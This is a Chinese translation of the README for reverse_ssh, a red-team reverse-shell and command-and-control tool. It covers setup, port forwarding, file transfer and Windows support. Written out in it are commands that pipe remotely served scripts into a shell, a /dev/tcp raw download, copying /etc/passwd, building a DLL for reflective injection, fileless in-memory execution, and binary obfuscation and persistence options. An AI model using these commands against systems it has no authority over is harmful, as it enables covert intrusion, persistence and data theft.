NHAS/reverse_ssh

GitHub: NHAS/reverse_ssh

基于 SSH 协议的反向 shell 工具,支持多种传输层封装和原生 SSH 功能(端口转发、SCP/SFTP),主要用于红队 C2 通信和远程主机管理。

Stars: 1354 | Forks: 182

# Reverse SSH ![icon](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/0e4125fffd213805.png) (图片鸣谢 https://www.instagram.com/smart.hedgehog.art/) 想要使用 SSH 来获取反向 shell 吗?现在你可以做到了。 - 使用原生 SSH 语法来管理和连接反向 shell - 动态、本地和远程端口转发 - 原生 `SCP` 和 `SFTP` 实现,用于从目标获取文件 - 完整的 Windows shell - 多种网络传输方式,例如 `http`、`websockets`、`tls` 等 - 客户端与服务器之间的双向认证,以创建高信任度的控制通道 以及更多功能! ``` +----------------+ +---------+ | | | | | | +---------+ RSSH | | Reverse | | | Client | | SSH server | | | | | | | +---------+ +---------+ | | | | | | | | | Human | SSH | | SSH | +---------+ | Client +-------->+ <-----------------+ | | | | | | | RSSH | +---------+ | | | | Client | | | | | | | | | +---------+ | | | | | | +----------------+ | +---------+ | | | | | RSSH | +---------+ Client | | | +---------+ ``` https://github.com/user-attachments/assets/11dc8d14-59f1-4bdd-9503-b70f8a0d2db1 - [Reverse SSH](#reverse-ssh) - [TL;DR(太长不看)](#tldr) - [设置](#setup) - [基本用法](#basic-usage) - [赞助者](#sponsors) - [个人](#individuals) - [企业](#companies) - [高级功能](#fancy-features) - [权限](#privileges) - [自动回连](#automatic-connect-back) - [反向 shell 下载(客户端生成与内置 HTTP 服务器)](#reverse-shell-download-client-generation-and-in-built-http-server) - [备用传输层 (HTTP/Websockets/TLS)](#alternate-transports-httpwebsocketstls) - [Bash 自动补全](#bash-autocomplete) - [Windows DLL 生成](#windows-dll-generation) - [SSH 子系统](#ssh-subsystems) - [所有](#all) - [Linux](#linux) - [Windows](#windows) - [Windows 服务集成](#windows-service-integration) - [完整的 Windows Shell 支持](#full-windows-shell-support) - [Webhooks](#webhooks) - [Tun (VPN)](#tun-vpn) - [无文件执行(客户端支持动态下载可执行文件作为 shell 运行)](#fileless-execution-clients-support-dynamically-downloading-executables-to-execute-as-shell) - [支持的 URI 方案](#supported-uri-schemes) - [帮助](#help) - [Windows](#windows-help) - [SFTP](#windows-and-sftp) - [会话生成错误 (0xc0000142)](#session-spawn-errors-0xc0000142) - [使用 `--insecure` 启动的服务器仍然出现 `Failed to handshake`](#server-started-with---insecure-still-has-failed-to-handshake) - [前台与后台](#foreground-vs-background) - [捐赠、支持或回馈](#donations-support-or-giving-back) ## TL;DR(太长不看) ### 设置 推荐使用 Docker 发布版本,因为它包含了正确版本的 Golang 和用于 Windows 的交叉编译器。 ``` # 启动服务器 docker run -p3232:2222 -e EXTERNAL_ADDRESS=:3232 -e SEED_AUTHORIZED_KEYS="$(cat ~/.ssh/id_ed25519.pub)" -v ./data:/data reversessh/reverse_ssh ``` 或者使用 docker compose: ``` services: reversessh: image: reversessh/reverse_ssh ports: - "3232:2222" environment: - EXTERNAL_ADDRESS=:3232 - RSSH_CONSOLE_LABEL=c2.label - RSSH_LOG_LEVEL=INFO # DISABLED, INFO, WARNING, ERROR, FATAL - SEED_AUTHORIZED_KEYS=${SSH_PUBLIC_KEY} volumes: - ./data:/data ``` ### 基本用法 ``` # 连接到服务器控制台 ssh your.rssh.server.internal -p 3232 # 列出所有服务器控制台命令 catcher$ help # 构建新客户端并将其托管在内置 webserver 上 catcher$ link http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25 # 使用 curl 或 wget 将此二进制文件下载到目标系统然后执行它, curl http://192.168.0.11:3232/4bb55de4d50cc724afbf89cf46f17d25.sh | bash # 然后我们可以列出哪些客户端已连接 catcher$ ls Targets +------------------------------------------+-----------------------------------+ | IDs | Version | +------------------------------------------+-----------------------------------+ | a0baa1631fe7cfbbfae34eb7a66d46c00d2a161e | SSH-v2.2.3-1-gdf5a3f8-linux_amd64 | | fe6c52029e37185e4c7d512edd67a6c7694e2995 | | | dummy.machine | | | 192.168.0.11:34542 | | +------------------------------------------+-----------------------------------+ ``` 所有命令均支持 `-h` 参数以获取帮助。 然后,典型的 ssh 命令即可生效,只需将你的 rssh 服务器指定为跳板机 (jump host) 即可。 ``` # 连接到完整 shell ssh -J your.rssh.server.internal:3232 dummy.machine # 启动远程转发 ssh -R 1234:localhost:1234 -J your.rssh.server.internal:3232 dummy.machine # 启动动态转发 ssh -D 9050 -J your.rssh.server.internal:3232 dummy.machine # SCP scp -J your.rssh.server.internal:3232 dummy.machine:/etc/passwd . ``` ## 高级功能 ### 权限 RSSH 服务器支持非常基础的用户权限。在 `data-directory`/`keys`(由 `--datadir` 指定)文件夹中找到的用户,例如 `data-directory/keys/jim`,将被分配为“普通用户”,他们只能看到公开的客户端(在 `authorized_controllee_keys` 文件中没有 `owners` 标签或 `owners` 标签为空的客户端)或者明确分配给他们的客户端,例如 `owners="jim"`。 这可以在运行时通过用户使用 `access` 命令分享他们拥有的客户端的访问权限来更改,或者由服务器管理员进行更改。默认情况下,在 `authorized_keys` 文件中找到的任何公钥都将被标记为管理员,以保持向后兼容性。 通过 `access` 命令所做的任何更改在服务器重启后都不会保留,若需保留则需要编辑特定客户端的 `authorized_controllee_keys` 文件。 ### 自动回连 RSSH 客户端允许你内置一个回连地址。 默认情况下,`link` 命令会内置服务器的外部地址。 如果你(出于某种原因)正在手动构建二进制文件,你可以指定环境变量 `RSSH_HOMESERVER` 将其内置到客户端中: ``` $ RSSH_HOMESERVER=your.rssh.server.internal:3232 make # 将连接到 your.rssh.server.internal:3232,即使未指定目标 $ bin/client # 行为与正常情况一致;将连接到提供的主机,例如 example.com:3232 $ bin/client -d example.com:3232 ``` ### 反向 shell 下载(客户端生成与内置 HTTP/Raw TCP 服务器) RSSH 服务器可以构建并托管客户端二进制文件(`link` 命令)。这是构建和提供客户端服务的首选方法。 要使此功能正常工作,必须将服务器放置在项目的 `bin/` 文件夹中,因为它需要找到客户端源代码。 默认情况下,`docker` 发布版本已经完成了这些构建,推荐使用。 ``` ssh your.rssh.server.internal -p 3232 catcher$ link -h link [OPTIONS] Link will compile a client and serve the resulting binary on a link which is returned. This requires the web server component has been enabled. --fingerprint Set RSSH server fingerprint will default to server public key --garble Use garble to obfuscate the binary (requires garble to be installed) --goarch Set the target build architecture (default runtime GOARCH) --goarm Set the go arm variable (not set by default) --goos Set the target build operating system (default runtime GOOS) --http Use http polling as the underlying transport --https Use https polling as the underlying transport --log-level Set default output logging levels, [INFO,WARNING,ERROR,FATAL,DISABLED] --lzma Use lzma compression for smaller binary at the cost of overhead at execution (requires upx flag to be set) --name Set the link download url/filename (default random characters) --no-lib-c Compile client without glibc --ntlm-proxy-creds Set NTLM proxy credentials in format DOMAIN\\USER:PASS --owners Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson --proxy Set connect proxy address to bake it --raw-download Download over raw TCP, outputs bash downloader rather than http --shared-object Generate shared object file --sni When TLS is in use, set a custom SNI for the client to connect with --stdio Use stdin and stdout as transport, will disable logging, destination after stdio:// is ignored --tls Use TLS as the underlying transport --upx Use upx to compress the final binary (requires upx to be installed) --use-kerberos Instruct client to try and use kerberos ticket when using a proxy --working-directory Set download/working directory for automatic script (i.e doing curl https://.sh) --ws Use plain http websockets as the underlying transport --wss Use TLS websockets as the underlying transport -C Comment to add as the public key (acts as the name) -l List currently active download links -o Set owners of client, if unset client is public all users. E.g --owners jsmith,ldavidson -r Remove download link -s Set homeserver address, defaults to server --external_address if set, or server listen address if not # 生成客户端并通过命名链接提供它 catcher$ link --name test http://your.rssh.server.internal:3232/test ``` 然后你可以通过以下方式下载它: ``` wget http://your.rssh.server.internal:3232/test chmod +x test ./test ``` 或者你可以使用原始 TCP (raw tcp) 下载客户端二进制文件: ``` bash -c "exec 3<>/dev/tcp/your.rssh.server.internal/3232; echo RAWtest>&3; cat <&3" > test ``` 其格式仅为 `RAW` 后跟文件名,即在本例中为 `test`,你可以使用 `--raw-download` 让 rssh 自动生成此内容。 RSSH 服务器还支持 `.sh`、`.py` 和 `.ps1` URL 路径后缀,它将生成一个可以通过管道传递给解释器的脚本: ``` curl http://your.rssh.server.internal:3232/test.sh | sh ``` ### 备用传输层 (HTTP/Websockets/TLS) 当深度包检测阻止 SSH 从主机或网络出站时,Reverse SSH 服务器和客户端均支持多种传输协议。 你可以通过在客户端中将其指定为 URL 来手动指定回连方案。 例如 ``` ./client -d ws://your.rssh.server:3232 ``` 或者通过 `link` 命令将其内置。 ``` ssh your.rssh.server -p 3232 link --ws --name test ``` ### Bash 自动补全 RSSH 服务器提供了 `autocomplete` 命令,它与 bash 完美集成,以便在不使用服务器控制台时也能拥有自动补全功能。 要安装它们,你只需执行: ``` ssh your.rssh.server.internal -p 3232 autocomplete --shell-completion your.rssh.server.internal:3232 ``` 并且这将返回一段可以添加到你的 `.zshrc` 或 `.bashrc` 中的自动补全脚本。 例如 ``` _RSSHCLIENTSCOMPLETION() { local cur=${COMP_WORDS[COMP_CWORD]} COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 autocomplete --clients)" -- $cur) ) } _RSSHFUNCTIONSCOMPLETIONS() { local cur=${COMP_WORDS[COMP_CWORD]} COMPREPLY=( $(compgen -W "$(ssh your.rssh.server.internal -p 3232 help -l)" -- $cur) ) } complete -F _RSSHFUNCTIONSCOMPLETIONS ssh your.rssh.server.internal -p 3232 complete -F _RSSHCLIENTSCOMPLETION ssh -J your.rssh.server.internal:3232 complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 exec complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 connect complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 listen -c complete -F _RSSHCLIENTSCOMPLETION ssh your.rssh.server.internal:3232 kill ``` 让你能够直接在终端中进行自动补全: ``` # 将基于哪些客户端已连接为您提供选项 ssh -J your.rssh.server.internal:3232 ``` ### Windows DLL 生成 你可以将客户端编译为 DLL,以便通过类似 [Invoke-ReflectivePEInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1) 的工具进行加载。当你想要对 rssh 客户端进行无文件注入时,这非常有用。 如果在 Linux 上进行此操作,将需要一个交叉编译器,请使用 `mingw-w64-gcc`,Docker 发布版本中已包含此工具。 ``` # 使用 link 命令 catcher$ link --goos windows --shared-object --name windows_dll http://your.rssh.server.internal:3232/windows_dll # 如果手动构建 CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll ``` ### SSH 子系统 SSH 协议支持使用 `-s` 标志调用子系统。在 RSSH 中,此功能被重新利用来为特定平台提供特殊命令以及 `sftp` 支持。 #### 所有 `list` 列出可用的子系统 `sftp`:运行 sftp 处理程序以传输文件 #### Linux `setgid`:尝试更改组 `setuid`:尝试更改用户 #### Windows `service`:将 rssh 二进制文件安装或移除为 Windows 服务,需要管理员权限 例如 ``` # 将 rssh 二进制文件作为服务安装(仅限 windows) ssh -J your.rssh.server.internal:3232 test-pc.user.test-pc -s service --install ``` ### Windows 服务集成 RSSH 客户端二进制文件支持在 Windows 服务中运行,并且不会在 10 秒后超时。这非常适合用于创建持久的管理服务。 ### 完整的 Windows Shell 支持 大多数针对 Windows 的反向 shell 很难生成一个支持调整大小、复制和粘贴以及我们习惯的所有其他功能的 shell 环境。 该项目在较新版本的 Windows 上使用 `conpty`,在较旧版本上使用 `winpty` 库(它会自动解压)。这应该意味着几乎所有版本的 Windows 都能为你提供一个出色的 shell。 ### Webhooks RSSH 服务器可以发出原始 HTTP 请求,该请求通过终端界面中的 `webhook` 命令进行设置。 首先启用一个 webhook: ``` $ ssh your.rssh.server.internal -p 3232 catcher$ webhook --on http://localhost:8080/ ``` 然后连接或断开一个客户端,此时将发出一个包含以下格式的 `POST` 请求。 ``` $ nc -l -p 8080 POST /rssh_webhook HTTP/1.1 Host: localhost:8080 User-Agent: Go-http-client/1.1 Content-Length: 165 Content-Type: application/json Accept-Encoding: gzip {"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[::1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}% ``` 另外需要注意的是,如果要将其连接到 Discord,请使用 `/slack` 端点。 ### Tun (VPN) RSSH 和 SSH 支持创建 tuntap 接口,允许你路由流量并创建伪 VPN。相比仅仅使用本地或远程转发(`-L`、`-R`),这确实需要更多的设置,但在这种模式下,你可以发送 `UDP` 和 `ICMP`。 #### 重要提示 如果你连接到一个恶意的 RSSH 客户端,它将能够回连到你的隧道设备。因此,重要的是不要开启转发,并且要么设置防火墙规则来阻止到本地计算机的任何连接,要么在容器/netns 中运行此程序。 在远程机器上安装一个客户端,如果你的 RSSH 客户端与你的 tun 设备位于同一主机上,这将不起作用。 ``` sudo ssh -J your.rssh.server.internal:3232 user.wombo -w 0:any sudo ip link set dev tun0 up sudo ip route add 0.0.0.0/0 dev tun0 ``` 这有一些限制,它只能发送 `UDP`/`TCP`/`ICMP`,而不能发送任意第三层协议。`ICMP` 是尽力而为的,可能会使用远程主机的 `ping` 工具,因为 ICMP 套接字在大多数机器上都需要特权。这也不支持 `tap` 设备,例如第二层 VPN,因为这需要管理员访问权限。 ### 无文件执行(客户端支持动态下载可执行文件作为 shell 运行) 在指定 rssh 二进制文件应该运行什么可执行文件时,无论是通过完整的 PTY 会话连接还是原始执行,客户端都支持使用 URI 方案下载外部可执行文件。 例如。 ``` connect --shell https://your.host/program ssh -J your.rssh.server:3232 https://your.host/program ``` #### 支持的 URI 方案 `http/https`:纯网络下载 `rssh`:通过 rssh 服务器下载 rssh 服务器将从可执行文件工作目录下的 `downloads` 目录提供内容。 这两种方法都将视情况使用 [memfd](https://man7.org/linux/man-pages/man2/memfd_create.2.html),这不会将任何可执行文件写入磁盘。 # 帮助 ## Windows ### SFTP 由于 SFTP 的限制(或者更确切地说是我为此使用的库)。在 Windows 上处理路径需要多费一点功夫。 ``` sftp -r -J your.rssh.server.internal:3232 test-pc.user.test-pc:'/C:/Windows/system32' ``` 注意起始字符前的 `/`。 ## 会话生成错误 (0xc0000142) 在某些执行情况下,连接到 Windows 上的 RSSH 客户端可能会失败且没有错误提示。 ``` catcher$ connect windows-system Session has terminated. ``` 客户端日志: ``` 2025/08/24 18:25:39 [client] INFO session.go:52 func16() : Session got request: "shell" 2025/08/24 18:25:39 [client] INFO shell_windows.go:137 runWithConpty() : New process with pid 3427 spawned 2025/08/24 18:25:39 [client] INFO session.go:122 func16() : Session disconnected ``` 导致此问题的常见原因有两个,第一个是杀毒软件已经终止了生成的 PowerShell,另一个是 `0xc0000142`,这表示生成的进程没有访问 Windows Station 或 Desktop 的权限[来源](https://stackoverflow.com/questions/677874/starting-a-process-with-credentials-from-a-windows-service/30687230#30687230)。 要确定是哪种原因导致了此问题,请在不使用 pty 的情况下执行任何命令: ``` ssh -J rssh windows-system cmd /c dir exit status 0xc0000142 ``` 如果你看到 `0xc0000142` 错误代码,请尝试启动 `CMD.exe` 并强制分配一个 pty (`-t`): ``` ssh -t -J rssh windows-system CMD.exe ``` 这应该会启动一个交互式 shell。 ## 使用 `--insecure` 启动的服务器仍然出现 `Failed to handshake` 如果客户端二进制文件是使用 `link` 命令生成的,则该客户端默认已内置服务器公钥指纹。如果你丢失了服务器的私钥,客户端将无法再进行连接。 你还可以使用 `link --fingerprint ` 生成客户端以指定指纹,但在 1.0.13 版本中目前尚无方法禁用此功能。 ## 前台与后台 默认情况下,客户端将在后台运行,然后父进程退出,子进程将接管父进程的 stdout/stderr,因此你仍然可以看到输出。如果你需要调试你的客户端,请使用 `--foreground` 标志。 # 捐赠、支持或回馈 回馈 RSSH 项目的最简单方式是发现 Bug、提出功能需求,并将其通过口碑宣传给你认为会觉得它有用的人! 然而,如果你想直接向我回馈一些东西,你可以通过 Kofi 或 Github Sponsors(在右侧的“Sponsor this Project”下)进行。 或者通过向以下钱包地址发送捐赠来支持我: Monero (XMR): `8A8TRqsBKpMMabvt5RxMhCFWcuCSZqGV5L849XQndZB4bcbgkenH8KWJUXinYbF6ySGBznLsunrd1WA8YNPiejGp3FFfPND` Bitcoin (BTC): `bc1qm9e9sfrm7l7tnq982nrm6khnsfdlay07h0dxfr`
标签:EVTX分析, IP 地址批量处理, Rust, SSH, TLS, WebSockets, 内存分配, 反向代理, 反弹Shell, 命令与控制, 安全认证, 数据展示, 文件传输, 日志审计, 端口转发, 红队, 网络信息收集, 网络安全, 网络流量审计, 请求拦截, 远程控制, 远程访问, 防御工具, 隐私保护, 隐蔽通信, 隧道